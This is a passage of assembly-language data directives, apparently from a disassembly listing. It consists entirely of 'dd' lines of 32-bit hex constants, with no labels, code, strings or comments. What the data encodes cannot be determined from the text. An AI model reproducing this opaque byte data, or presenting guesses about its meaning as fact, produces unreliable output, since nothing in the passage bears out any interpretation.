		dd 0B004F5F6h, 6C8A5Fh,	7C5CFC3Bh, 0B0F1ECA5h, 8284B301h
		dd 92CBA685h, 0F97ECCh,	0A7080C99h, 0F7755891h,	6B694312h
		dd 9B091E00h, 65BA8188h, 0C0E5023Eh, 161E17DEh,	7004E47Ah
		dd 447BFF7Dh, 0B7C16880h, 5451E8CEh, 0FD9099h, 0A2F6BE12h
		dd 0ABC4C962h, 6DD43500h, 0BFAEFB09h, 4DB5E234h, 0B017063h
		dd 756022E9h, 0D89DF4DDh, 0CA4D4800h, 694E5E7Dh, 72E805A3h
		dd 0AFAA7EDBh, 0C1FC4382h, 81E4429Ah, 1D3E03D8h, 0DBB0CEE1h
		dd 0C48599A1h, 1E009319h, 150B60C1h, 412A7A1h, 0D18B33BFh
		dd 453380F5h, 400055A6h, 0DFCE8E8Dh, 0ED25D38h,	1651EAFDh
		dd 2126F647h, 0E4A85ADBh
		dd 9100E83Fh, 7DA9FF67h, 38DECDBAh, 0D900D228h,	25E992Ah
		dd 8700DBFBh, 0C14218E7h, 6286DAh, 0DE8CB21Eh, 76433977h
		dd 0FEE01100h, 71EC2DB6h, 5A720023h, 8789D3F1h,	0BE005D56h
		dd 59E340FCh, 456B6Ah, 0A09A1180h, 0C9503164h, 0F1E01AF8h
		dd 73AEF007h, 2F204506h, 0B8A0F2Ch, 5F726E13h, 0B0E04880h
		dd 499816ADh, 547ACEFEh, 909F5600h, 5AA132BEh, 0B9F007B0h
		dd 2E0FEA2Fh, 56972AE0h, 9E0027B8h, 0E40575F2h,	0EE07624h
		dd 747B82DAh, 1950409Eh, 5C5D07D3h, 730C4F00h, 0A02554AFh
		dd 9F870091h, 4A944DF6h, 0B01D7071h, 0C0A6CE48h, 0E451FB80h
		dd 9A54E1D8h, 0A09900A8h, 1EC684B7h, 24F06C78h,	10855800h
		dd 0D5604ED7h, 5FDD1FA4h, 0F1789BAh, 0E4F0F00h,	550137F3h
		dd 0C3E13AC0h, 0CFCC1AABh, 0B74C0790h, 60BC34DFh, 961D9543h
		dd 6D495519h, 9CC04E80h, 0C9409h, 0A8D5E430h, 37E83A08h
		dd 183BB230h, 54D2810h,	93E31658h, 8E1807E9h, 60A9A0D4h
		dd 963AD538h, 10506061h, 7866211h, 1F88E88Eh, 95E18FACh
		dd 0E77F2FC6h, 0E89020E1h, 0C4007B80h, 0F4479260h, 0D1F52Bh
		dd 6F5796D9h, 0C708BC90h, 8EF37601h, 0EA134D59h, 0C9681D7h
		dd 177C5BF0h, 698B16h, 354D10BDh, 0CEFEFE1Dh, 7C4050A3h
		dd 3079474h, 0F83C71ABh, 0D4ED6340h, 0BDE70009h, 0DDB21BFh
		dd 8D0FFA6Fh, 80DA6879h, 0DDBC056Ch, 606D00B2h,	0EB72D863h
		dd 2B1DB577h, 0B0D711D9h, 0B933900h, 1D435EB6h,	83D310h
		dd 653F358Bh, 0B5FC92h,	0F558B8EEh, 0F9B00161h,	0EBEFAD29h
		dd 6450EC0Bh, 0FABBD501h, 0F3B7FECBh, 2480B9BDh, 5F60C6A9h
		dd 0B039796Ch, 93CF8078h, 0CB8E0923h, 0CDF586Eh, 0B8584D3Dh
		dd 27135480h, 0A47CB8AEh, 0C44C48C0h, 75E453h, 83DD869Ch
		dd 90012C24h, 3A4D3Dh, 0FFCEB064h, 626C4EFh, 8E6F23FEh
		dd 0CD005118h, 4956DCD6h, 0FAEB0AC7h, 0B38D0404h, 80DE026Ah
		dd 1B82C949h, 7B0B6100h, 0F08B3BE4h, 9C23A35h, 0C5630180h
		dd 0E90A16CDh, 91DE5Ch,	857DBF7Eh, 5C965AF6h, 3903D4E7h
		dd 75CAA5A1h, 69DDF5A0h, 84FD932Ah, 14DFBA15h, 87C707E0h
		dd 0D1C0B4EEh, 0DE042D3h, 3C68B910h, 0C3041B10h, 0E41BB1h
		dd 94A27510h, 1CCA0F69h, 34979A00h, 0E1AA158Fh,	1F55001Dh
		dd 0BF0A1E59h, 990391ACh, 4D162A6Dh, 0C9E0C7E3h, 267A9Dh
		dd 0F74842E4h, 0ECE7B809h, 74178500h, 0C98C0FCEh, 1190036h
		dd 83FD9F70h, 1D0021C8h, 2DA73098h, 48E858h, 3F7CDD32h
		dd 0F1DE54BAh, 44CB4500h, 9A7D8FFBh, 60C900F0h,	0C6090497h
		dd 0D498DEE3h, 0EC68AE00h, 150DA4E2h, 0E5CB001Dh, 5DC6AC12h
		dd 0C000F5Eh, 0DE6533BBh, 1D3AEE71h, 0A44E8AADh, 1772027Ch
		dd 0A9609668h, 0F50710AEh, 3D04343Bh, 3FF70550h, 20541CC7h
		dd 774C0091h, 0E7CE2502h, 185FD100h, 81C8E05Ah,	0FE5003Ch
		dd 28AD15B7h, 8D2F8B10h, 0CBD67Ch, 0EDD813E9h, 0B7003D43h
		dd 631E9B04h, 3B298A60h, 589FB274h, 23E9C009h, 0F087E3C1h
		dd 463E960Eh, 56E80065h, 7E5BE70h, 6912146Eh, 78D560E3h
		dd 1D00754Fh, 0FE108A9Dh, 0E30C86C3h, 0EF7E108Fh, 0FDAB2700h
		dd 1D005177h, 0A461076Bh, 0BF365Bh, 9ACB68D2h, 0E9562E53h
		dd 0F45A4C00h, 17275DDDh, 0B7D900DAh, 77B4C696h, 15006874h
		dd 0C07AF509h, 788D090h, 8D869EB6h, 77CFB048h, 9098F1Ch
		dd 2161DA8Ah, 0D0D4912Ch, 76F1330h, 0D76BC89Eh,	0D6E1402Fh
		dd 5004119h, 4A9F51F4h,	26A999h, 95B66235h, 2B86B51Bh
		dd 0D628FB01h, 0B4F4298h, 2CA715FCh, 0D14D75h, 7A6E9150h
		dd 541E0E72h, 9D438A78h, 0DF56E9C1h, 0C040A023h, 595DB4h
		dd 0A9301EBCh, 8C65256Ah, 7E742100h, 0A21A9563h, 0FE063854h
		dd 6C91E504h, 2EBFC0D9h, 0EE00A38Ah, 219B0332h,	1E76FFBh
		dd 81D8F597h, 24722A12h, 80013A0h, 677F854h, 1CE95DCh
		dd 3462DF7Fh, 0DC76BCE8h, 0AA000BB0h, 0D1DA78A9h, 2027CAh
		dd 7C5E8933h, 55227397h, 2A0CBF00h, 0BD915A37h,	0CE720059h
		dd 0CF248674h, 1F50400Ah, 1D4498DCh, 0E49905A0h, 4082B437h
		dd 0A59A41CCh, 0E7065C74h, 1711B72Ch, 0D2220018h, 153F42C0h
		dd 100B26Eh, 97253C34h,	7FF92D6h, 474FABBAh, 6FE05091h
		dd 40FDEAC5h, 39DEECE4h, 18B27F80h, 284BB72Bh, 42F2072Dh
		dd 0F1E5A4A0h, 0ABD8E100h, 0F50BDE1Eh, 5E300D6h, 0BB2B8F66h
		dd 3F00C794h, 2F8295A4h, 0D8A617h, 58B596ADh, 427476D4h
		dd 360BC1D6h, 0BB5444h,	3964CE0Bh, 0EE00C822h, 0F997C75Fh
		dd 0FEE6FBh, 0B204D7A1h, 7316C60Eh, 337C2401h, 809302A5h
		dd 0F6E89FE8h, 11CE004Fh, 82AD23FDh, 0D6C0EFA8h, 0A2275CC8h
		dd 9BE238BBh, 98B2CE80h, 38CB4F7h, 5498700h, 0ADDF531Ch
		dd 0C4F90078h, 0FC4689A3h, 0BEF0177Eh, 0B930DD00h, 274547E5h
		dd 0E28F66Dh, 0C4A4D2F5h, 0B106A200h, 3C000F64h, 0CA4322D7h
		dd 7654B57h, 24F5B745h,	0A080D938h, 0BEE8CBD2h,	84177D00h
		dd 0CD8E476Bh, 0DCF82480h, 73B1006Ch, 8A2DDB64h, 0A85F6D24h
		dd 57F1B701h, 0A8E04BB3h, 336EAF0h, 0DD04A98h, 7BB80F40h
		dd 0EF0068C8h, 9A2B6FABh, 54953Eh, 99A7D6B8h, 398C1FC9h
		dd 329E7000h, 0F8984EBAh, 3027007Ch, 0E3C74AA1h, 0E2012D56h
		dd 0C5ECF0BEh, 1ADCB6C8h, 69960002h, 0DAD5ACB9h, 0C1E5FD7h
		dd 0E847804Ah, 65E07F99h, 2C3814Ch, 0A6CE65Ch, 84603C76h
		dd 94923E71h, 33B0BA00h, 79304BF3h, 0A40700C7h,	0AC6456E1h
		dd 0E378CB42h, 0EF23FB01h, 0F037618Eh, 48BE4AD0h, 0E100DFC8h
		dd 3DF107FFh, 8275BFB3h, 6824E300h, 0B4DE51BEh,	0EA0100C4h
		dd 0CA3D47E0h, 520B906Bh, 80DB53B9h, 5E741CE6h,	837E0EB1h
		dd 9AE762B3h, 5A0980F5h, 0C4267811h, 550354D1h,	98333CEFh
		dd 0D4FF8Bh, 7249DE31h,	0EF0E852h, 18665A1Eh, 0E23B3FC2h
		dd 0C85C4364h, 30DEC213h, 0DFE8D622h, 0BC03FACBh, 0EA067081h
		dd 0AB1BE0A0h, 4F370080h, 0E2B11EF2h, 82B06312h, 476CA200h
		dd 0A1464D6h, 0B7E3A48h, 5F44FA80h, 0E3DA58E5h,	77051500h
		dd 0B9AD1295h, 659E0091h, 0D8F0CC72h, 9F21764h,	632CF800h
		dd 0D11B0D03h, 4472036Dh, 0BFFBEA4Dh, 53C7A6C8h, 0DC6FB800h
		dd 401C34FDh, 62F4A02Fh, 0F2230006h, 0BDABFCF5h, 5B000265h
		dd 57788D64h, 30A76C25h, 0B688FD28h, 3C121329h,	0ED005952h
		dd 6FB13E23h, 0EFD700C9h, 0EDAA5CE1h, 6000E009h, 0FA56CC15h
		dd 0EBFB555Ah, 0DDF1FCh, 0DE13B7AEh, 7DA929DFh,	69FEFD00h
		dd 0ABB2A632h, 90A252A5h, 0A0D37776h, 1D1289F2h, 80405433h
		dd 856B0FB7h, 0F314EA07h, 7935D5Bh, 8D416561h, 0D4C6BEA0h
		dd 262000A0h, 0DDBCF008h, 0C700B61Eh, 97100DD7h, 7F512A67h
		dd 3C190076h, 251E98B3h, 9B70A3ABh, 7CC4F100h, 0F4E949D0h
		dd 0AF402C99h, 8BD8000Ch, 5516710h, 48DBA300h, 6415019Eh
		dd 79FD001Ah, 7025BE8h,	0A60089C9h, 4AB82554h, 1EDE3590h
		dd 0C3AB8A8Fh, 7133280Ah, 388FC6D4h, 9C6B9224h,	90D08467h
		dd 4EF5D4h, 0BA1299CEh,	0D82933A4h, 0CB6BDA00h,	0B320B107h
		dd 0F2D70063h, 0FF7C8F64h, 2F0369ADh, 0ABDC883Ah, 6830F21Ah
		dd 0C0B09F18h, 0FCA83DE2h, 6008F63h, 2A55B532h,	0E5E1179Ah
		dd 10EEE8h, 0FB43B187h,	61311FAAh, 6E499B0Fh, 0B2D9A09Ch
		dd 19AE66Fh, 59E721A9h,	64521650h, 0B124E1F0h, 0BEF0DBh
		dd 581DCB3Fh, 4A31B4E7h
		dd 564C07B0h, 572E8097h, 7522E89Ah, 0D24E11DCh,	740C7953h
		dd 8E88EBBh, 196D0938h,	108FCCA7h, 30AEAFE6h, 2809E900h
		dd 5EE045A1h, 854400BEh, 552DBCD7h, 967E3A0Dh, 309584Ch
		dd 0EF133B93h, 2CEDD09Eh, 0D35E1FDDh, 994C0156h, 0F0518FBAh
		dd 750EE1D6h, 0C050C9D4h, 298CDDB8h, 0B49F1285h, 90A40094h
		dd 68E7AE1Fh, 46B39107h, 0EB143Eh, 0B52739C0h, 42DC31B7h
		dd 0E65006E0h, 4CEF8C90h, 0E9F5BB0Fh, 0C3A8A55h, 80E714h
		dd 7315BA64h, 51FFEEh, 0D9EAEC69h, 0D5C74DCBh, 80DC563Eh
		dd 24CD9884h, 3FFDB1h, 0E2D43A9Ch, 56B01EA4h, 0D172E0E6h
		dd 0CA44EE00h, 74CD9768h, 10983E27h, 75EAC800h,	24880D6h
		dd 0D344A160h, 588C6Bh,	6D626E52h, 224475B5h, 1C9F991Ch
		dd 41B4BC0Eh, 6FE7E3D7h, 0C348C02Bh, 5501D6B1h,	750F3038h
		dd 7BDC8419h, 68E40704h, 90415B98h, 406FB570h, 0F8DF61F7h
		dd 8D2CA6A4h, 2E006AE6h, 0A26DCE29h, 74610071h,	23BB4AFEh
		dd 0B900F7F3h, 5F26418Bh, 3966D5B2h, 0E02EE5Dh,	1610F5BFh
		dd 641CB4A0h, 63FC8B70h, 0B96B470Ch, 0C065089Ch, 73BCF521h
		dd 0F9243B59h, 46807C4Eh, 710FA0FEh, 17A7EF1h, 0C81F44B7h
		dd 0E09F4ADBh, 6B0079B2h, 3C8D48DFh, 0A866EB80h, 0D8C8D0h
		dd 0E4E91EFEh, 0FCE1E6BBh, 214308CCh, 0FE6F1F13h, 0FF63C033h
		dd 4DD6D23h, 11079407h,	7BC886h, 7F5DDCF4h, 64B04Dh, 87FAFDB3h
		dd 0EEFED16Dh, 493DB501h, 641B1106h, 6AD43CF0h,	0A8B948h
		dd 0A4139B82h, 8C053F21h, 865D3AA6h, 68FD7180h,	276F3E66h
		dd 8A3331E0h, 0CE036350h, 56DB186Ch, 37083012h,	5303A421h
		dd 0C4FE1006h, 98AAC5h,	7D998632h, 91CA683Ch, 0EE844750h
		dd 0EA005F90h, 35956D56h, 0E7641h, 0A149658Bh, 344602EBh
		dd 5B505800h, 0E45FE64Ah, 0F7840153h, 51B601ECh, 0C0DAC904h
		dd 0AF074DB3h, 4A029CF6h, 1E83EBB5h, 0A1FAF00Ah, 7DE60Eh
		dd 0FF3CCCC5h, 90F8540Dh, 79AB0500h, 41AF475Fh,	87A400BEh
		dd 0D1604945h, 4E006A8Bh, 881C1954h, 7F6F48h, 8C34E69Fh
		dd 3B7BAC20h, 9060FFAh,	11861F5Bh, 1D91F008h, 3E2421FBh
		dd 0E974BA0Ch, 3307ED18h, 0B13B5E39h, 0CFB60F1Fh, 2B7A0056h
		dd 31BFAB47h, 0DC40CCA6h, 0AD498F59h, 835E6168h, 8FDCC02Ch
		dd 5C127CF0h, 0EE30BF2Eh, 7F922F58h, 0FB866D03h, 101772E9h
		dd 8B9E9020h, 8E398014h, 0C32D1EAFh, 97061099h,	805B133h
		dd 1E181820h, 6E12C011h, 331C2A04h, 0AC03B425h,	310E5CEDh
		dd 0A6AD7CD5h, 61E1E05Dh, 9C2E380Ah, 1F488C16h,	0C5F7081Ch
		dd 418C3619h, 95E2F84h,	54A88D7Ch, 0F1F020C4h, 0B4D5006Fh
		dd 7B059A87h, 654511Eh,	7D60BA24h, 0F829741h, 0C0B03870h
		dd 0D6AF0E01h, 3015736Ah, 1B062071h, 0F282F63h,	9198F979h
		dd 0C784F927h, 0A94BDC88h, 22D490B4h, 0C1E50062h, 0DDD081CDh
		dd 320527F4h, 5014F2AFh, 809E8008h, 0F7B24E2Dh,	6B009009h
		dd 0F495CDA0h, 3B5FED5h, 2EE272A3h, 0E0221045h,	0E774B1h
		dd 0D23863C3h, 526466D7h, 0D48AD9CAh, 94A17880h, 981B6971h
		dd 0FC8F0752h, 0B09CC86Dh, 14217F5Bh, 4C5A6B02h, 44231792h
		dd 0E1036030h, 341D3A12h, 0C404D510h, 16B39208h, 6C00442Bh
		dd 0BEE366B9h, 3E261EC4h, 702A80F7h, 19AC2FE4h,	0B00CF608h
		dd 78431113h, 6C11EC01h, 44882348h, 88B90824h, 0F20040A5h
		dd 4583BAC3h, 0B048E301h, 0ACB9C681h, 0F2002993h, 0B845797Bh
		dd 1A7CBDh, 0B561BA6Ch,	6E1F2B26h, 2964EBE6h, 0A6404078h
		dd 64E2CA0Ch, 42323D1Eh, 0DE7C1F7Eh, 900B060h, 90E49DF3h
		dd 91D37C24h, 812E5438h, 0A756D1F9h, 6C22E6C2h,	0C0B81E2Ah
		dd 9F63EC40h, 0E024492Fh, 18841025h, 7D485CB9h,	4F0E3087h
		dd 2A1DB843h, 22B0D310h, 10093ECBh, 385CB50Ch, 75FBE0h
		dd 0EC3ED397h, 0B4270B3Bh, 90C7A1CEh, 0C48F4803h, 36B1F222h
		dd 938924Fh, 29C0B877h,	3E3A56CBh, 38EA354Fh, 0E6160308h
		dd 0D10788A7h, 8B20DC52h, 628F65D0h, 0EA80027h,	0B53AC3Bh
		dd 25098477h, 0A4EA6CBh, 0DAC168E8h, 51FC4D2Eh,	0A8F000D0h
		dd 76B9AB9Dh, 3F069945h, 0D3E217FEh, 0E1E862B0h, 0BF001234h
		dd 439B60Ch, 0F5BC51FAh, 0FB10D0CBh, 1003BE9Ch,	0D964154Ah
		dd 0A9310332h, 1CD5B5B8h, 0CB93D8D0h, 109D1105h, 0C0520154h
		dd 0B315245Eh, 52B0090h, 0DC1966CAh, 1907FA46h,	500851FDh
		dd 87DAE992h, 0D6847F29h, 0AE259790h, 24089240h, 40B0A4FBh
		dd 0B7C9528h, 0B4FCBDE8h, 93973000h, 5EC56F16h,	9E4E018Ah
		dd 7BCBBCA5h, 6561F4A6h, 1884083Eh, 62215CC5h, 14FB00E3h
		dd 51A41159h, 2C1DC27Ch, 0D6C0C37Ah, 0FC1B3B61h, 3076629Ch
		dd 0C0FDDA0Dh, 0C447F24h, 9A6F9E56h, 0F3077648h, 0B277E2F6h
		dd 4CA9CFD0h, 251403F1h, 90C416BAh, 0C36403Bh, 51934B89h
		dd 8FCB339Bh, 5031E941h, 972219EEh, 0DBC41111h,	54F0307Eh
		dd 70DA4D00h, 8BDB08C7h, 0D2C1480Dh, 0C01BE71Ch, 0C3EA769Dh
		dd 730C943Dh, 59EFF37Ch, 99E22416h, 4A300A7h, 64274BBAh
		dd 0C38F60C3h, 0E9913090h, 0A217C508h, 0BB1690A8h, 0A91E0F07h
		dd 52D37564h, 81180189h, 48FE3DACh, 873EEC6Ah, 117D6E14h
		dd 89E21DB5h, 26859603h, 6851226Bh, 23E10362h, 0C552F84h
		dd 1007CC43h, 0CBEFCC47h, 67838683h, 133463A0h,	92192EF0h
		dd 5AD8E702h, 16353081h, 8096BB0Ch, 7782BEC0h, 1E7EB1CDh
		dd 80556E10h, 2DD2D09Bh, 0A20393EEh, 60FF886Ch,	0EDB0B81Dh
		dd 9F580C55h, 0EB40BD8Ch, 58779931h, 9761D1D4h,	6E1800D3h
		dd 0E8C1E7BEh, 0E00AB9F5h, 8849C663h, 52EAB380h, 0DE3F56h
		dd 8512BC0Dh, 0A00967B5h, 90010F78h, 888AD6Ah, 0E850D713h
		dd 3B5C11EBh, 820A3244h, 0B84F24h, 0DD835FA3h, 1B55C584h
		dd 0E5F7F0CCh, 0D4D86354h, 98140885h, 482E6F8Dh, 0E00BBBF0h
		dd 0AB680381h, 6ED00A71h, 0BC8336BAh, 3118C99Bh, 13797576h
		dd 10DF41h, 0F85F471Eh,	3AF4840Dh, 9C2E7D24h, 449BE85h
		dd 25C51405h, 3420EC35h, 0B0B0F1ADh, 26BC348Fh,	25544438h
		dd 4164097h, 61BB4B80h,	98EAD9C0h, 0D217CCDFh, 49C9E23Ch
		dd 38722B0h, 759482BFh,	70A9478Bh, 0DA198096h, 694B68A9h
		dd 530A004Ch, 0FD884438h, 84B08EC5h, 2038467Fh,	49F007D7h
		dd 4C400D1Ah, 98EA05B4h, 0E418CC9Dh, 49001008h,	0CF0242D8h
		dd 66C0F616h, 30FD186Ch, 0CAFC6003h, 0C0F863C7h, 0C0F1B9ADh
		dd 0CD46C218h, 0BD0192B6h, 0F9057A8h, 8DC0B57Ch, 0F008C048h
		dd 0C4A6614h, 0E8DC8CEBh, 316758E3h, 4C20A6C1h,	0E708942Ch
		dd 0E1FE8038h, 612FE893h, 7E17A16Fh, 1F308003h,	843F9CEAh
		dd 15B7B45h, 56234B49h,	130E832Eh, 0FF481408h, 488058F1h
		dd 56EE3629h, 0D8BAD103h, 2315623Dh, 178DC291h,	0B9F41199h
		dd 129B0359h, 0B2A7FB47h, 62FC21F7h, 8AC410Eh, 0A060111Eh
		dd 0BD77C40h, 25701CCAh, 4FFF083Ch, 0FDA1603Eh,	0B1CE6Ch
		dd 0D12D6E9Bh, 0C9E43267h, 0F8D00554h, 87E70F84h, 8495E28Ah
		dd 61543378h, 0D878EB29h, 755C5700h, 9C410832h,	0D899DC45h
		dd 0FF05F9A4h, 3651BEFBh, 11D924h, 0AC53256Ch, 8D7C3C8Bh
		dd 0CC17760h, 3F7923C4h, 6B055557h, 200E467Bh, 76E010D4h
		dd 62A98E04h, 0C946006h, 24B33800h, 35B01FCh, 28943FF6h
		dd 5925E06h, 854D3202h,	9826E774h, 0E8034498h, 8F02DCA9h
		dd 0E02FC511h
		dd 7D151E3Fh, 21FC0389h, 9560FAA0h, 7605D80Ah, 6108244Ch
		dd 20149E0Eh, 1FF11C45h, 4C768BF4h, 0D758E899h,	0DC23000h
		dd 0C6B23BEEh, 42DDC415h, 5EFA0E8Ch, 0CC458A2Fh, 0A24F6041h
		dd 505499C8h, 75618444h, 3AAA1E5Dh, 128D80E0h, 0AFE1BA5Eh
		dd 0F060FE12h, 0D29C0E02h, 5448A005h, 7B096568h, 0DFE2A52h
		dd 0DF172AD8h, 9ED201CCh, 0B1BB2CC5h, 67798A3Ch, 9BCD8CBh
		dd 1047E634h, 48F4CD8Ch, 0BC00DC60h, 0B61EF8Bh,	6F0A054Eh
		dd 0F4FE0354h, 3039F04Ah, 0CC6739FDh, 5451C2AFh, 64411BDFh
		dd 0F4231505h, 4113C11h, 41EFEB80h, 0D3AE391Ah,	3AF26700h
		dd 2ABF97E6h, 29CA281Ch, 0E0F435C0h, 53243060h,	15F434A8h
		dd 304DAA3Eh, 92101857h, 0C240376h, 0F2567F46h,	750E5597h
		dd 440410E0h, 45C63080h, 81001C3Ch, 92D70A2Fh, 2316AD8h
		dd 0F5372C11h, 8CA042F0h, 1957DCCFh, 34844F0h, 0B8E4CAA8h
		dd 49816C98h, 611A6335h, 28FE6198h, 86742E00h, 0DC67266Dh
		dd 18B779Ch, 23734AB0h,	5115E091h, 80508DA4h, 924060E9h
		dd 23945Fh, 0ED954117h,	0BC80FD91h, 60BB4631h, 3137E9Bh
		dd 0F74F47C0h, 0A8AE280Ch, 88792109h, 89028332h, 5B72D2E2h
		dd 27F448E4h, 0B6302A9h, 0BC6C0512h, 78789044h,	2D3EC977h
		dd 49A90043h, 0FE727021h, 45FCA0F5h, 256E051Bh,	275D12FAh
		dd 423734B4h, 0A21C7C05h, 489A1790h, 52460Ch, 36A56C29h
		dd 0D872C237h, 7666407h, 2401356Fh, 9880F8DDh, 70053781h
		dd 90077E98h, 28D1A82h,	0F2689B59h, 83B2642h, 876C0104h
		dd 5091E322h, 0C032C967h, 5F8E6048h, 68EBA198h,	21A3C932h
		dd 40D04A1Dh, 1E8C3740h, 906EDEEh, 84006F35h, 6E5F2620h
		dd 0A4C159C4h, 20283052h, 4F007AACh, 70BF366Ch,	13B63A5Bh
		dd 30C6092Bh, 558D87ACh, 0CA494462h, 8C892FE0h,	0C02C74A8h
		dd 941FDA7Fh, 69D8631Dh, 0EB3FF500h, 8017925Fh,	86524160h
		dd 0A5247CC0h, 7BE00CF1h, 197BE7Ah, 4B9E2F75h, 348DEBC9h
		dd 95007F8Ch, 0A6703867h, 0C966492Ch, 60120849h, 0BC3B9C60h
		dd 1559A760h, 78C5472Ah, 274A00A8h, 0DE2FBB08h,	60921AD1h
		dd 0EDD00154h, 99B55C20h, 1D5B80B4h, 0E55A4DA3h, 0CF473500h
		dd 20D2EFE0h, 68FCA86Fh, 7EA50F3Ah, 3157913Fh, 4103F124h
		dd 0F22269C4h, 44A2082Fh, 0CDF4010h, 58C0ECh, 693F16BFh
		dd 0D0E25166h, 0A4E44A02h, 0C41D6505h, 54987154h, 0D9466h
		dd 3119B37Eh, 0E2E11E91h, 2C6B5B00h, 0EE120E93h, 0B45954F6h
		dd 0D1876317h, 0E488F9B0h, 6C00BCA3h, 1451B3D3h, 263757F4h
		dd 67D04F8Eh, 88717103h, 32F4498Dh, 6783F00h, 9E858016h
		dd 0A98DE61h, 1B388892h, 4E0BE9B1h, 98C6D8D7h, 0A8748D70h
		dd 364BB4h, 306D5AA3h, 12380E76h, 887A0434h, 0DAF6E890h
		dd 306C48C9h, 2E924EC0h, 0DC00E2FDh, 0E4EB5F6Dh, 3A76DD25h
		dd 1DF36172h, 0A6453289h, 1C0D91E0h, 0D8C266A7h, 6E1B1463h
		dd 0E7E8005Ch, 8A8CEBDCh, 0AA07CE15h, 0D886AB33h, 496AFB60h
		dd 13309160h, 0A690209Bh, 730010CFh, 65D2AF36h,	9CC2FD3h
		dd 4714173Ch, 86542CA2h, 59EC5CE4h, 821AB12h, 1D501000h
		dd 5D05D76Eh, 1693D853h, 6C082288h, 3C788F60h, 5830075Ch
		dd 304293CCh, 0A27DC067h, 663B87ECh, 44CA4224h,	68609B2Ch
		dd 0A7225BB9h, 5FCD001Eh, 400876E3h, 0F824F34Fh, 4985F08Dh
		dd 78081023h, 7AE8806Ch, 1848E557h, 1CE4A42Ch, 3512E429h
		dd 4665AC88h, 11B05242h, 0B85849E7h, 70B723Bh, 0EC047C3Bh
		dd 6C7CD8A9h, 7BD78205h, 0C492E05Bh, 0D6CC4941h, 0E89D2980h
		dd 0BD0FEC42h, 3B43549Ah, 88D3C610h, 0CC1DC483h, 0CC0410C0h
		dd 6F0162D9h, 0EA4308Ch, 0A504C2AEh, 0C715EAE3h, 0C5CFA891h
		dd 0C8634Dh, 0EBA18E54h, 96BEB087h, 7BF41114h, 3461E09h
		dd 0BD784BE4h, 84099423h, 5C5657h, 40AE3784h, 90A84A8Dh
		dd 0C300957Ch, 4294C414h, 3FADD897h, 4689B065h,	20031861h
		dd 11DD3551h, 17126898h, 2B08408Bh, 5A6CB316h, 0D8426F1Ch
		dd 80ACCF9Dh, 9949F90Eh, 94481739h, 0A4560074h,	79FC5D5h
		dd 117055B4h, 0DBD91400h, 0ECF4CB1Bh, 5D0C489h,	17E08876h
		dd 2041B26Eh, 31C5418Fh, 12B30B01h, 5CA5AAFAh, 65C041B8h
		dd 0F8856F16h, 0FB54195Bh, 0D8982CA4h, 0A6A40750h, 6AF76788h
		dd 8A0C990h, 9300456Bh,	33838BD6h, 0EC944E50h, 769804BFh
		dd 84FAC786h, 26F8094Fh, 0CC30419h, 2C418C22h, 88101C30h
		dd 0D8D5F905h, 0C9FDC034h, 3E01F6AAh, 9C3018DEh, 0DFB73019h
		dd 99EFE305h, 0D0CCE89Bh, 185F3E06h, 29481C00h,	70FBA4CDh
		dd 5A72C160h, 4C8E80F1h, 0E29F94BAh, 0ABE1A500h, 0E73A6CC7h
		dd 95823C71h, 91C1468Eh, 0A3B5B404h, 648E0028h,	0C66A49E0h
		dd 7E2732CEh, 71204B21h, 48E73972h, 38D54CE6h, 0E1702C2Eh
		dd 0C1C048D3h, 0C6B660C5h, 0DFC24700h, 0B522C793h, 918E32FAh
		dd 0E0039838h, 0A158CA87h, 0D61410B0h, 2F2CB510h, 0A3CC5D1Dh
		dd 0E088170Ah, 0E4F80880h, 2DE5C02h, 0F3CC4DFBh, 40510BC2h
		dd 0AA8AB501h, 0D050B8BCh, 729CA660h, 20B989Bh,	13376D2Eh
		dd 40C4F757h, 0D92C0C98h, 841AC5Dh, 37FC416Ch, 0D2CA326h
		dd 43F33562h, 0E7481010h, 0C7006A23h, 0FA8BDD01h, 4DD1A3C2h
		dd 0B85C5404h, 0DF91A7CCh, 0CC01B00h, 0E4783B0Eh, 0D5390BCFh
		dd 0E4265E6Eh, 2B0029A6h, 0D71A0B25h, 262CCC64h, 0E0BC1BE0h
		dd 1C6683CAh, 87490600h, 6D716AB1h, 0CB6C1356h,	0DC2C8473h
		dd 0D42C9D4Ch, 241F4465h, 84AB3B40h, 1353C8CCh,	89A24895h
		dd 8F7044F0h, 1852180h,	0CD5D6E10h, 5A0BD070h, 996BC896h
		dd 0CEDC8C28h, 0D651C6Ah, 541127BAh, 722D244h, 88C51Ch
		dd 9DA29728h, 64000EB7h, 0E6B6C839h, 0BCAE3BEh,	14119C74h
		dd 45644490h, 9093430Bh, 8C75809Ah, 0FA8A0Bh, 3121E75Fh
		dd 568DF75Dh, 0E0A084A9h, 4B070F9Dh, 68A478EFh,	6E33C0AFh
		dd 7A4AF6ADh, 1214B222h, 0B48601Dh, 0BC108054h,	0C513F43Bh
		dd 0A4C9E47Fh, 0D1DA4400h, 0E5C00DCh, 0FD118C20h, 8F039326h
		dd 0C876143Eh, 54592716h, 848C7810h, 83719301h,	0D99D35B6h
		dd 80D461CDh, 3CA20075h, 0B307DC2Dh, 0E8A963BBh, 0FF5F1055h
		dd 752F0070h, 6AE21EDAh, 340060F7h, 0B109523Ch,	4A6FADB9h
		dd 0CCA830F8h, 4600F17Fh, 0C4BD801Dh, 4850A854h, 5C5D5FE5h
		dd 2C994E25h, 0EB1990FDh, 6293E78Fh, 6D60D110h,	5CB36959h
		dd 2FA40200h, 0C6759EC2h, 0DCA53929h, 0F5A11A07h, 6612347Ah
		dd 1E98C1E2h, 0F25A810h, 260097E8h, 177BA3E6h, 0EFAC25Fh
		dd 0A6C539B3h, 1144CCD3h, 5CD288h, 0AB68B543h, 7417DC15h
		dd 14640201h, 3FDE9946h, 0B9A5EC21h, 7227CC20h,	7A984CF7h
		dd 0D3F98A00h, 9573C908h, 66853EE0h, 57873C9Eh,	0A384223Fh
		dd 84629825h, 0A0EE2056h, 72005106h, 69E2856Dh,	22D0F60h
		dd 8A47E9DAh, 206E6867h, 0F9F54200h, 6FB31832h,	8EA80D09h
		dd 0AC71DA0Dh, 10CB34EEh, 91B1CDD4h, 94F790C8h,	0AD928248h
		dd 2A8C900Fh, 9A7605EAh, 0C8C6CA2Eh, 0FE240580h, 2642C019h
		dd 44541008h, 96B80h, 0E36A3090h, 0C357627Dh, 55022403h
		dd 81133C9Eh, 44745B1Fh, 0F1B92607h, 9ED060A8h,	0B709A438h
		dd 0C9694D46h, 0A0682640h, 61D2ED88h, 48580DA4h, 61A600E1h
		dd 0C43C0EF5h, 76F20133h, 87D53B00h, 0B9830765h, 62178159h
		dd 8FDD0FF8h, 60708E4Dh
